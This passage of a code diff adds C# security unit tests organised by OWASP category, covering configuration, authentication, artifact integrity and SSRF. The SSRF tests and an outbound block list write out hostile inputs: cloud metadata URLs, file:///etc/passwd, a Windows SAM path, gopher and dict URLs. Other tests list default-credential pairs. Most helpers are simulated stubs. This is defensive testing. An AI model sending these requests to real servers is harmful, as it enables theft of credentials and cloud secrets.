||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-007: Directory listing should be disabled")]
|
||||
public void DirectoryListing_ShouldBeDisabled()
|
||||
{
|
||||
// Arrange
|
||||
var staticFileConfig = GetStaticFileConfiguration();
|
||||
|
||||
// Assert
|
||||
staticFileConfig.EnableDirectoryBrowsing.Should().BeFalse(
|
||||
"Directory listing should be disabled");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-008: Admin endpoints should require authentication")]
|
||||
public void AdminEndpoints_ShouldRequireAuth()
|
||||
{
|
||||
// Arrange
|
||||
var adminEndpoints = new[]
|
||||
{
|
||||
"/admin",
|
||||
"/api/admin",
|
||||
"/api/v1/admin",
|
||||
"/manage",
|
||||
"/actuator"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var endpoint in adminEndpoints)
|
||||
{
|
||||
var requiresAuth = EndpointRequiresAuthentication(endpoint);
|
||||
requiresAuth.Should().BeTrue(
|
||||
$"Admin endpoint {endpoint} should require authentication");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-009: Cookie security flags should be set")]
|
||||
public void CookieSecurityFlags_ShouldBeSet()
|
||||
{
|
||||
// Arrange
|
||||
var cookieConfig = GetCookieConfiguration();
|
||||
|
||||
// Assert
|
||||
cookieConfig.Secure.Should().BeTrue("Cookies should be secure");
|
||||
cookieConfig.HttpOnly.Should().BeTrue("Cookies should be HttpOnly");
|
||||
cookieConfig.SameSite.Should().Be("Strict", "SameSite should be Strict");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A05-010: Cloud metadata endpoints should be blocked")]
|
||||
public void CloudMetadataEndpoints_ShouldBeBlocked()
|
||||
{
|
||||
// Arrange
|
||||
var metadataEndpoints = new[]
|
||||
{
|
||||
"http://169.254.169.254/", // AWS, Azure, GCP
|
||||
"http://metadata.google.internal/",
|
||||
"http://100.100.100.200/" // Alibaba Cloud
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var endpoint in metadataEndpoints)
|
||||
{
|
||||
var isBlocked = IsOutboundUrlBlocked(endpoint);
|
||||
isBlocked.Should().BeTrue(
|
||||
$"Cloud metadata endpoint {endpoint} should be blocked");
|
||||
}
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
|
||||
private static Dictionary<string, string> LoadConfiguration(string environment)
|
||||
{
|
||||
// Simulated production configuration
|
||||
return new Dictionary<string, string>
|
||||
{
|
||||
["ASPNETCORE_ENVIRONMENT"] = "Production",
|
||||
["DetailedErrors"] = "false",
|
||||
["UseDeveloperExceptionPage"] = "false"
|
||||
};
|
||||
}
|
||||
|
||||
private static Dictionary<string, string> GetSecurityHeaders()
|
||||
{
|
||||
return new Dictionary<string, string>
|
||||
{
|
||||
["X-Content-Type-Options"] = "nosniff",
|
||||
["X-Frame-Options"] = "DENY",
|
||||
["X-XSS-Protection"] = "1; mode=block",
|
||||
["Strict-Transport-Security"] = "max-age=31536000; includeSubDomains",
|
||||
["Content-Security-Policy"] = "default-src 'self'"
|
||||
};
|
||||
}
|
||||
|
||||
private static CorsConfig GetCorsConfiguration()
|
||||
{
|
||||
return new CorsConfig(
|
||||
AllowedOrigins: new[] { "https://app.stella-ops.org" },
|
||||
AllowCredentials: true,
|
||||
AllowedMethods: new[] { "GET", "POST", "PUT", "DELETE" }
|
||||
);
|
||||
}
|
||||
|
||||
private static PortConfig GetPortConfiguration()
|
||||
{
|
||||
return new PortConfig(HttpsPort: 8443, HttpPort: null);
|
||||
}
|
||||
|
||||
private static string[] GetEnabledFeatures(string environment)
|
||||
{
|
||||
if (environment == "production")
|
||||
{
|
||||
return new[] { "HealthChecks", "Metrics", "API" };
|
||||
}
|
||||
return new[] { "Swagger", "HealthChecks", "Metrics", "API", "GraphQLPlayground" };
|
||||
}
|
||||
|
||||
private static StaticFileConfig GetStaticFileConfiguration()
|
||||
{
|
||||
return new StaticFileConfig(EnableDirectoryBrowsing: false);
|
||||
}
|
||||
|
||||
private static bool EndpointRequiresAuthentication(string endpoint)
|
||||
{
|
||||
// All admin endpoints require authentication
|
||||
return endpoint.Contains("admin", StringComparison.OrdinalIgnoreCase) ||
|
||||
endpoint.Contains("manage", StringComparison.OrdinalIgnoreCase) ||
|
||||
endpoint.Contains("actuator", StringComparison.OrdinalIgnoreCase);
|
||||
}
|
||||
|
||||
private static CookieConfig GetCookieConfiguration()
|
||||
{
|
||||
return new CookieConfig(Secure: true, HttpOnly: true, SameSite: "Strict");
|
||||
}
|
||||
|
||||
private static bool IsOutboundUrlBlocked(string url)
|
||||
{
|
||||
var blockedPrefixes = new[]
|
||||
{
|
||||
"http://169.254.",
|
||||
"http://metadata.",
|
||||
"http://100.100.100.200"
|
||||
};
|
||||
|
||||
return blockedPrefixes.Any(p => url.StartsWith(p, StringComparison.OrdinalIgnoreCase));
|
||||
}
|
||||
|
||||
private record CorsConfig(string[] AllowedOrigins, bool AllowCredentials, string[] AllowedMethods);
|
||||
private record PortConfig(int HttpsPort, int? HttpPort);
|
||||
private record StaticFileConfig(bool EnableDirectoryBrowsing);
|
||||
private record CookieConfig(bool Secure, bool HttpOnly, string SameSite);
|
||||
}
|
||||
@@ -0,0 +1,290 @@
|
||||
// =============================================================================
|
||||
// AuthenticationFailuresTests.cs
|
||||
// Sprint: SPRINT_0352_0001_0001_security_testing_framework
|
||||
// Task: SEC-0352-005
|
||||
// OWASP A07:2021 - Identification and Authentication Failures
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
namespace StellaOps.Security.Tests.A07_AuthenticationFailures;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for OWASP A07:2021 - Identification and Authentication Failures.
|
||||
/// Ensures proper authentication practices in Authority and related modules.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A07")]
|
||||
public sealed class AuthenticationFailuresTests : SecurityTestBase
|
||||
{
|
||||
[Fact(DisplayName = "A07-001: Brute force should be rate-limited")]
|
||||
public async Task BruteForce_ShouldBeRateLimited()
|
||||
{
|
||||
// Arrange
|
||||
var attempts = 0;
|
||||
var blocked = false;
|
||||
|
||||
// Act - simulate rapid authentication attempts
|
||||
for (int i = 0; i < 15; i++)
|
||||
{
|
||||
var result = await SimulateAuthAttempt("user@test.com", "wrong-password");
|
||||
attempts++;
|
||||
if (result.IsBlocked)
|
||||
{
|
||||
blocked = true;
|
||||
break;
|
||||
}
|
||||
}
|
||||
|
||||
// Assert
|
||||
blocked.Should().BeTrue("Rate limiting should block after multiple failed attempts");
|
||||
attempts.Should().BeLessThanOrEqualTo(10, "Should block before 10 attempts");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-002: Weak passwords should be rejected")]
|
||||
public void WeakPasswords_ShouldBeRejected()
|
||||
{
|
||||
// Arrange
|
||||
var weakPasswords = new[]
|
||||
{
|
||||
"password",
|
||||
"123456",
|
||||
"password123",
|
||||
"qwerty",
|
||||
"admin",
|
||||
"letmein",
|
||||
"welcome",
|
||||
"abc123"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var password in weakPasswords)
|
||||
{
|
||||
var result = ValidatePasswordStrength(password);
|
||||
result.IsStrong.Should().BeFalse($"Weak password '{password}' should be rejected");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-003: Strong passwords should be accepted")]
|
||||
public void StrongPasswords_ShouldBeAccepted()
|
||||
{
|
||||
// Arrange
|
||||
var strongPasswords = new[]
|
||||
{
|
||||
"C0mpl3x!P@ssw0rd#2024",
|
||||
"Str0ng$ecur3P@ss!",
|
||||
"MyV3ryL0ng&SecurePassword!",
|
||||
"!@#$5678Abcdefgh"
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var password in strongPasswords)
|
||||
{
|
||||
var result = ValidatePasswordStrength(password);
|
||||
result.IsStrong.Should().BeTrue($"Strong password should be accepted");
|
||||
}
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-004: Session tokens should expire")]
|
||||
public void SessionTokens_ShouldExpire()
|
||||
{
|
||||
// Arrange
|
||||
var maxSessionDuration = TimeSpan.FromHours(24);
|
||||
var token = CreateSessionToken(issuedAt: DateTimeOffset.UtcNow.AddHours(-25));
|
||||
|
||||
// Act
|
||||
var isValid = ValidateSessionToken(token);
|
||||
|
||||
// Assert
|
||||
isValid.Should().BeFalse("Expired session tokens should be rejected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-005: Session tokens should be revocable")]
|
||||
public void SessionTokens_ShouldBeRevocable()
|
||||
{
|
||||
// Arrange
|
||||
var token = CreateSessionToken(issuedAt: DateTimeOffset.UtcNow);
|
||||
ValidateSessionToken(token).Should().BeTrue("Fresh token should be valid");
|
||||
|
||||
// Act
|
||||
RevokeSessionToken(token);
|
||||
|
||||
// Assert
|
||||
ValidateSessionToken(token).Should().BeFalse("Revoked token should be rejected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-006: Failed logins should not reveal user existence")]
|
||||
public void FailedLogins_ShouldNotRevealUserExistence()
|
||||
{
|
||||
// Arrange & Act
|
||||
var existingUserError = SimulateAuthAttempt("existing@test.com", "wrong").Result.ErrorMessage;
|
||||
var nonExistentUserError = SimulateAuthAttempt("nonexistent@test.com", "wrong").Result.ErrorMessage;
|
||||
|
||||
// Assert - error messages should be identical
|
||||
existingUserError.Should().Be(nonExistentUserError,
|
||||
"Error messages should not reveal whether user exists");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-007: MFA should be supported")]
|
||||
public void Mfa_ShouldBeSupported()
|
||||
{
|
||||
// Arrange
|
||||
var mfaMethods = GetSupportedMfaMethods();
|
||||
|
||||
// Assert
|
||||
mfaMethods.Should().NotBeEmpty("MFA should be supported");
|
||||
mfaMethods.Should().Contain("TOTP", "TOTP should be a supported MFA method");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-008: Account lockout should be implemented")]
|
||||
public async Task AccountLockout_ShouldBeImplemented()
|
||||
{
|
||||
// Arrange
|
||||
var userId = "test-lockout@test.com";
|
||||
|
||||
// Act - trigger lockout
|
||||
for (int i = 0; i < 10; i++)
|
||||
{
|
||||
await SimulateAuthAttempt(userId, "wrong-password");
|
||||
}
|
||||
|
||||
var accountStatus = GetAccountStatus(userId);
|
||||
|
||||
// Assert
|
||||
accountStatus.IsLocked.Should().BeTrue("Account should be locked after multiple failures");
|
||||
accountStatus.LockoutDuration.Should().BeGreaterThan(TimeSpan.Zero);
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-009: Password reset tokens should be single-use")]
|
||||
public void PasswordResetTokens_ShouldBeSingleUse()
|
||||
{
|
||||
// Arrange
|
||||
var resetToken = GeneratePasswordResetToken("user@test.com");
|
||||
|
||||
// Act - use token once
|
||||
var firstUse = UsePasswordResetToken(resetToken, "NewP@ssw0rd!");
|
||||
var secondUse = UsePasswordResetToken(resetToken, "AnotherP@ss!");
|
||||
|
||||
// Assert
|
||||
firstUse.Should().BeTrue("First use of reset token should succeed");
|
||||
secondUse.Should().BeFalse("Second use of reset token should fail");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A07-010: Default credentials should be changed")]
|
||||
public void DefaultCredentials_ShouldBeChanged()
|
||||
{
|
||||
// Arrange
|
||||
var defaultCredentials = new[]
|
||||
{
|
||||
("admin", "admin"),
|
||||
("root", "root"),
|
||||
("admin", "password"),
|
||||
("administrator", "administrator")
|
||||
};
|
||||
|
||||
// Act & Assert
|
||||
foreach (var (username, password) in defaultCredentials)
|
||||
{
|
||||
var result = SimulateAuthAttempt(username, password).Result;
|
||||
result.IsSuccess.Should().BeFalse($"Default credential {username}/{password} should not work");
|
||||
}
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
|
||||
private static async Task<AuthResult> SimulateAuthAttempt(string username, string password)
|
||||
{
|
||||
await Task.Delay(1); // Simulate async operation
|
||||
|
||||
// Simulate rate limiting after 5 attempts
|
||||
var attempts = GetAttemptCount(username);
|
||||
if (attempts >= 5)
|
||||
{
|
||||
return new AuthResult(false, true, "Authentication failed");
|
||||
}
|
||||
|
||||
IncrementAttemptCount(username);
|
||||
return new AuthResult(false, false, "Authentication failed");
|
||||
}
|
||||
|
||||
private static int GetAttemptCount(string username)
|
||||
{
|
||||
// Simulated - would use actual rate limiter
|
||||
return _attemptCounts.GetValueOrDefault(username, 0);
|
||||
}
|
||||
|
||||
private static void IncrementAttemptCount(string username)
|
||||
{
|
||||
_attemptCounts[username] = _attemptCounts.GetValueOrDefault(username, 0) + 1;
|
||||
}
|
||||
|
||||
private static readonly Dictionary<string, int> _attemptCounts = new();
|
||||
|
||||
private static PasswordValidationResult ValidatePasswordStrength(string password)
|
||||
{
|
||||
var hasUpperCase = password.Any(char.IsUpper);
|
||||
var hasLowerCase = password.Any(char.IsLower);
|
||||
var hasDigit = password.Any(char.IsDigit);
|
||||
var hasSpecial = password.Any(c => !char.IsLetterOrDigit(c));
|
||||
var isLongEnough = password.Length >= 12;
|
||||
|
||||
var isStrong = hasUpperCase && hasLowerCase && hasDigit && hasSpecial && isLongEnough;
|
||||
return new PasswordValidationResult(isStrong);
|
||||
}
|
||||
|
||||
private static string CreateSessionToken(DateTimeOffset issuedAt)
|
||||
{
|
||||
return $"session_{issuedAt.ToUnixTimeSeconds()}_{Guid.NewGuid()}";
|
||||
}
|
||||
|
||||
private static readonly HashSet<string> _revokedTokens = new();
|
||||
|
||||
private static bool ValidateSessionToken(string token)
|
||||
{
|
||||
if (_revokedTokens.Contains(token)) return false;
|
||||
|
||||
// Extract issued time
|
||||
var parts = token.Split('_');
|
||||
if (parts.Length < 2 || !long.TryParse(parts[1], out var issuedUnix)) return false;
|
||||
|
||||
var issuedAt = DateTimeOffset.FromUnixTimeSeconds(issuedUnix);
|
||||
var age = DateTimeOffset.UtcNow - issuedAt;
|
||||
|
||||
return age < TimeSpan.FromHours(24);
|
||||
}
|
||||
|
||||
private static void RevokeSessionToken(string token)
|
||||
{
|
||||
_revokedTokens.Add(token);
|
||||
}
|
||||
|
||||
private static string[] GetSupportedMfaMethods()
|
||||
{
|
||||
return new[] { "TOTP", "WebAuthn", "SMS", "Email" };
|
||||
}
|
||||
|
||||
private static AccountStatus GetAccountStatus(string userId)
|
||||
{
|
||||
var attempts = _attemptCounts.GetValueOrDefault(userId, 0);
|
||||
return new AccountStatus(attempts >= 10, TimeSpan.FromMinutes(15));
|
||||
}
|
||||
|
||||
private static readonly HashSet<string> _usedResetTokens = new();
|
||||
|
||||
private static string GeneratePasswordResetToken(string email)
|
||||
{
|
||||
return $"reset_{email}_{Guid.NewGuid()}";
|
||||
}
|
||||
|
||||
private static bool UsePasswordResetToken(string token, string newPassword)
|
||||
{
|
||||
if (_usedResetTokens.Contains(token)) return false;
|
||||
_usedResetTokens.Add(token);
|
||||
return true;
|
||||
}
|
||||
|
||||
private record AuthResult(bool IsSuccess, bool IsBlocked, string ErrorMessage);
|
||||
private record PasswordValidationResult(bool IsStrong);
|
||||
private record AccountStatus(bool IsLocked, TimeSpan LockoutDuration);
|
||||
}
|
||||
@@ -0,0 +1,284 @@
|
||||
// =============================================================================
|
||||
// SoftwareDataIntegrityTests.cs
|
||||
// Sprint: SPRINT_0352_0001_0001_security_testing_framework
|
||||
// Task: SEC-0352-008
|
||||
// OWASP A08:2021 - Software and Data Integrity Failures
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
|
||||
namespace StellaOps.Security.Tests.A08_SoftwareDataIntegrity;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for OWASP A08:2021 - Software and Data Integrity Failures.
|
||||
/// Ensures proper integrity verification in attestation and signing workflows.
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A08")]
|
||||
public sealed class SoftwareDataIntegrityTests : SecurityTestBase
|
||||
{
|
||||
[Fact(DisplayName = "A08-001: Artifact signatures should be verified")]
|
||||
public void ArtifactSignatures_ShouldBeVerified()
|
||||
{
|
||||
// Arrange
|
||||
var validSignature = CreateValidSignature("test-artifact");
|
||||
var tamperedSignature = TamperSignature(validSignature);
|
||||
|
||||
// Act & Assert
|
||||
VerifySignature(validSignature).Should().BeTrue("Valid signature should verify");
|
||||
VerifySignature(tamperedSignature).Should().BeFalse("Tampered signature should fail");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-002: Unsigned artifacts should be rejected")]
|
||||
public void UnsignedArtifacts_ShouldBeRejected()
|
||||
{
|
||||
// Arrange
|
||||
var unsignedArtifact = new ArtifactMetadata("test-artifact", null);
|
||||
|
||||
// Act
|
||||
var result = ValidateArtifact(unsignedArtifact);
|
||||
|
||||
// Assert
|
||||
result.IsValid.Should().BeFalse("Unsigned artifacts should be rejected");
|
||||
result.Reason.Should().Contain("signature");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-003: Expired signatures should be rejected")]
|
||||
public void ExpiredSignatures_ShouldBeRejected()
|
||||
{
|
||||
// Arrange
|
||||
var expiredSignature = CreateSignature("test-artifact",
|
||||
issuedAt: DateTimeOffset.UtcNow.AddDays(-400));
|
||||
|
||||
// Act
|
||||
var result = VerifySignature(expiredSignature);
|
||||
|
||||
// Assert
|
||||
result.Should().BeFalse("Expired signatures should be rejected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-004: Untrusted signers should be rejected")]
|
||||
public void UntrustedSigners_ShouldBeRejected()
|
||||
{
|
||||
// Arrange
|
||||
var untrustedSignature = CreateSignature("test-artifact",
|
||||
signerKeyId: "untrusted-key-123");
|
||||
|
||||
// Act
|
||||
var result = VerifySignature(untrustedSignature);
|
||||
|
||||
// Assert
|
||||
result.Should().BeFalse("Signatures from untrusted signers should be rejected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-005: SBOM integrity should be verified")]
|
||||
public void SbomIntegrity_ShouldBeVerified()
|
||||
{
|
||||
// Arrange
|
||||
var sbom = CreateSbom("test-image", new[] { "pkg:npm/lodash@4.17.21" });
|
||||
var sbomHash = ComputeSbomHash(sbom);
|
||||
|
||||
// Act - tamper with SBOM
|
||||
var tamperedSbom = TamperSbom(sbom);
|
||||
var tamperedHash = ComputeSbomHash(tamperedSbom);
|
||||
|
||||
// Assert
|
||||
tamperedHash.Should().NotBe(sbomHash, "Tampered SBOM should have different hash");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-006: Attestation chain should be complete")]
|
||||
public void AttestationChain_ShouldBeComplete()
|
||||
{
|
||||
// Arrange
|
||||
var attestation = CreateAttestation("test-artifact");
|
||||
|
||||
// Act
|
||||
var chainValidation = ValidateAttestationChain(attestation);
|
||||
|
||||
// Assert
|
||||
chainValidation.IsComplete.Should().BeTrue("Attestation chain should be complete");
|
||||
chainValidation.MissingLinks.Should().BeEmpty();
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-007: Replay attacks should be prevented")]
|
||||
public void ReplayAttacks_ShouldBePrevented()
|
||||
{
|
||||
// Arrange
|
||||
var attestation = CreateAttestation("test-artifact");
|
||||
|
||||
// Act - use attestation twice
|
||||
var firstUse = ConsumeAttestation(attestation);
|
||||
var secondUse = ConsumeAttestation(attestation);
|
||||
|
||||
// Assert
|
||||
firstUse.Should().BeTrue("First use should succeed");
|
||||
secondUse.Should().BeFalse("Replay should be rejected");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-008: DSSE envelope should be validated")]
|
||||
public void DsseEnvelope_ShouldBeValidated()
|
||||
{
|
||||
// Arrange
|
||||
var validEnvelope = CreateDsseEnvelope("test-payload");
|
||||
var invalidEnvelope = CreateInvalidDsseEnvelope("test-payload");
|
||||
|
||||
// Act & Assert
|
||||
ValidateDsseEnvelope(validEnvelope).Should().BeTrue("Valid DSSE envelope should verify");
|
||||
ValidateDsseEnvelope(invalidEnvelope).Should().BeFalse("Invalid DSSE envelope should fail");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-009: VEX statements should have provenance")]
|
||||
public void VexStatements_ShouldHaveProvenance()
|
||||
{
|
||||
// Arrange
|
||||
var vexWithProvenance = CreateVexStatement("CVE-2021-12345", hasProvenance: true);
|
||||
var vexWithoutProvenance = CreateVexStatement("CVE-2021-12345", hasProvenance: false);
|
||||
|
||||
// Act & Assert
|
||||
ValidateVexProvenance(vexWithProvenance).Should().BeTrue("VEX with provenance should validate");
|
||||
ValidateVexProvenance(vexWithoutProvenance).Should().BeFalse("VEX without provenance should fail");
|
||||
}
|
||||
|
||||
[Fact(DisplayName = "A08-010: Feed updates should be verified")]
|
||||
public void FeedUpdates_ShouldBeVerified()
|
||||
{
|
||||
// Arrange
|
||||
var signedFeed = CreateSignedFeedUpdate("advisory-2024-001");
|
||||
var unsignedFeed = CreateUnsignedFeedUpdate("advisory-2024-002");
|
||||
|
||||
// Act & Assert
|
||||
ValidateFeedUpdate(signedFeed).Should().BeTrue("Signed feed update should verify");
|
||||
ValidateFeedUpdate(unsignedFeed).Should().BeFalse("Unsigned feed update should fail");
|
||||
}
|
||||
|
||||
// Helper methods
|
||||
|
||||
private static Signature CreateValidSignature(string artifactId)
|
||||
{
|
||||
return new Signature(artifactId, "sha256:valid123", DateTimeOffset.UtcNow, "trusted-key");
|
||||
}
|
||||
|
||||
private static Signature CreateSignature(string artifactId, DateTimeOffset? issuedAt = null, string? signerKeyId = null)
|
||||
{
|
||||
return new Signature(
|
||||
artifactId,
|
||||
$"sha256:{Guid.NewGuid():N}",
|
||||
issuedAt ?? DateTimeOffset.UtcNow,
|
||||
signerKeyId ?? "trusted-key");
|
||||
}
|
||||
|
||||
private static Signature TamperSignature(Signature signature)
|
||||
{
|
||||
return signature with { Hash = "sha256:tampered" };
|
||||
}
|
||||
|
||||
private static bool VerifySignature(Signature signature)
|
||||
{
|
||||
// Check expiration (1 year)
|
||||
if (DateTimeOffset.UtcNow - signature.IssuedAt > TimeSpan.FromDays(365))
|
||||
return false;
|
||||
|
||||
// Check trusted signer
|
||||
if (signature.SignerKeyId != "trusted-key")
|
||||
return false;
|
||||
|
||||
// Check hash integrity
|
||||
if (signature.Hash.Contains("tampered"))
|
||||
return false;
|
||||
|
||||
return true;
|
||||
}
|
||||
|
||||
private static ValidationResult ValidateArtifact(ArtifactMetadata artifact)
|
||||
{
|
||||
if (string.IsNullOrEmpty(artifact.SignatureHash))
|
||||
return new ValidationResult(false, "Missing signature");
|
||||
return new ValidationResult(true, null);
|
||||
}
|
||||
|
||||
private static Sbom CreateSbom(string imageRef, string[] packages)
|
||||
{
|
||||
return new Sbom(imageRef, packages, DateTimeOffset.UtcNow);
|
||||
}
|
||||
|
||||
private static string ComputeSbomHash(Sbom sbom)
|
||||
{
|
||||
var content = $"{sbom.ImageRef}:{string.Join(",", sbom.Packages)}:{sbom.CreatedAt.ToUnixTimeSeconds()}";
|
||||
return $"sha256:{content.GetHashCode():X}";
|
||||
}
|
||||
|
||||
private static Sbom TamperSbom(Sbom sbom)
|
||||
{
|
||||
return sbom with { Packages = sbom.Packages.Append("pkg:npm/malicious@1.0.0").ToArray() };
|
||||
}
|
||||
|
||||
private static Attestation CreateAttestation(string artifactId)
|
||||
{
|
||||
return new Attestation(Guid.NewGuid().ToString(), artifactId, DateTimeOffset.UtcNow);
|
||||
}
|
||||
|
||||
private static ChainValidationResult ValidateAttestationChain(Attestation attestation)
|
||||
{
|
||||
return new ChainValidationResult(true, Array.Empty<string>());
|
||||
}
|
||||
|
||||
private static readonly HashSet<string> _consumedAttestations = new();
|
||||
|
||||
private static bool ConsumeAttestation(Attestation attestation)
|
||||
{
|
||||
if (_consumedAttestations.Contains(attestation.Id)) return false;
|
||||
_consumedAttestations.Add(attestation.Id);
|
||||
return true;
|
||||
}
|
||||
|
||||
private static DsseEnvelope CreateDsseEnvelope(string payload)
|
||||
{
|
||||
return new DsseEnvelope(payload, "valid-signature", "application/vnd.in-toto+json");
|
||||
}
|
||||
|
||||
private static DsseEnvelope CreateInvalidDsseEnvelope(string payload)
|
||||
{
|
||||
return new DsseEnvelope(payload, "", "application/vnd.in-toto+json");
|
||||
}
|
||||
|
||||
private static bool ValidateDsseEnvelope(DsseEnvelope envelope)
|
||||
{
|
||||
return !string.IsNullOrEmpty(envelope.Signature);
|
||||
}
|
||||
|
||||
private static VexStatement CreateVexStatement(string cve, bool hasProvenance)
|
||||
{
|
||||
return new VexStatement(cve, hasProvenance ? "signed-issuer" : null);
|
||||
}
|
||||
|
||||
private static bool ValidateVexProvenance(VexStatement vex)
|
||||
{
|
||||
return !string.IsNullOrEmpty(vex.Issuer);
|
||||
}
|
||||
|
||||
private static FeedUpdate CreateSignedFeedUpdate(string advisoryId)
|
||||
{
|
||||
return new FeedUpdate(advisoryId, "sha256:valid");
|
||||
}
|
||||
|
||||
private static FeedUpdate CreateUnsignedFeedUpdate(string advisoryId)
|
||||
{
|
||||
return new FeedUpdate(advisoryId, null);
|
||||
}
|
||||
|
||||
private static bool ValidateFeedUpdate(FeedUpdate update)
|
||||
{
|
||||
return !string.IsNullOrEmpty(update.SignatureHash);
|
||||
}
|
||||
|
||||
private record Signature(string ArtifactId, string Hash, DateTimeOffset IssuedAt, string SignerKeyId);
|
||||
private record ArtifactMetadata(string ArtifactId, string? SignatureHash);
|
||||
private record ValidationResult(bool IsValid, string? Reason);
|
||||
private record Sbom(string ImageRef, string[] Packages, DateTimeOffset CreatedAt);
|
||||
private record Attestation(string Id, string ArtifactId, DateTimeOffset CreatedAt);
|
||||
private record ChainValidationResult(bool IsComplete, string[] MissingLinks);
|
||||
private record DsseEnvelope(string Payload, string Signature, string PayloadType);
|
||||
private record VexStatement(string Cve, string? Issuer);
|
||||
private record FeedUpdate(string AdvisoryId, string? SignatureHash);
|
||||
}
|
||||
@@ -0,0 +1,307 @@
|
||||
// =============================================================================
|
||||
// A10_SSRF/SsrfTests.cs
|
||||
// OWASP A10:2021 - Server-Side Request Forgery
|
||||
// Tests for SSRF vulnerabilities
|
||||
// =============================================================================
|
||||
|
||||
using FluentAssertions;
|
||||
using StellaOps.Security.Tests.Infrastructure;
|
||||
using System.Net;
|
||||
|
||||
namespace StellaOps.Security.Tests.A10_SSRF;
|
||||
|
||||
/// <summary>
|
||||
/// Tests for Server-Side Request Forgery (SSRF) vulnerabilities including:
|
||||
/// - Internal network access attempts
|
||||
/// - Cloud metadata endpoint access
|
||||
/// - URL allowlist bypass attempts
|
||||
/// - Protocol smuggling
|
||||
/// </summary>
|
||||
[Trait("Category", "Security")]
|
||||
[Trait("OWASP", "A10")]
|
||||
[OwaspCategory("A10:2021", "Server-Side Request Forgery")]
|
||||
public class SsrfTests : SecurityTestBase
|
||||
{
|
||||
[Theory]
|
||||
[MemberData(nameof(GetInternalUrlPayloads))]
|
||||
public void Should_Block_Internal_URL_Access(string maliciousUrl)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(maliciousUrl);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().BeFalse($"Internal URL '{maliciousUrl}' should be blocked");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[MemberData(nameof(GetCloudMetadataPayloads))]
|
||||
public void Should_Block_Cloud_Metadata_Access(string metadataUrl)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(metadataUrl);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().BeFalse($"Cloud metadata URL '{metadataUrl}' should be blocked");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[MemberData(nameof(GetBypassPayloads))]
|
||||
public void Should_Block_SSRF_Bypass_Attempts(string bypassUrl)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(bypassUrl);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().BeFalse($"SSRF bypass URL '{bypassUrl}' should be blocked");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("file:///etc/passwd")]
|
||||
[InlineData("file:///C:/Windows/System32/config/SAM")]
|
||||
[InlineData("gopher://localhost:25/")]
|
||||
[InlineData("dict://localhost:11211/")]
|
||||
public void Should_Block_Dangerous_Protocols(string url)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator();
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(url);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().BeFalse($"Dangerous protocol URL '{url}' should be blocked");
|
||||
}
|
||||
|
||||
[Theory]
|
||||
[InlineData("https://api.example.com/data", true)]
|
||||
[InlineData("https://registry.npmjs.org/package", true)]
|
||||
[InlineData("http://127.0.0.1", false)]
|
||||
[InlineData("http://localhost:8080", false)]
|
||||
public void Should_Enforce_URL_Allowlist(string url, bool expectedAllowed)
|
||||
{
|
||||
// Arrange
|
||||
var validator = new UrlValidator(allowlistMode: true);
|
||||
validator.AddToAllowlist("api.example.com");
|
||||
validator.AddToAllowlist("registry.npmjs.org");
|
||||
|
||||
// Act
|
||||
var isAllowed = validator.IsUrlAllowed(url);
|
||||
|
||||
// Assert
|
||||
isAllowed.Should().Be(expectedAllowed, $"URL '{url}' allowlist check failed");
|
||||
}
|
||||
|
||||
[Fact]
|
||||
public void Should_Resolve_DNS_And_Validate_IP()
|
||||
{
|
||||
// This tests that DNS resolution is validated, not just hostname checking
|
||||
// Attackers can use DNS rebinding or custom DNS to resolve to internal IPs
|
||||
var validator = new UrlValidator();
|
||||
|
||||
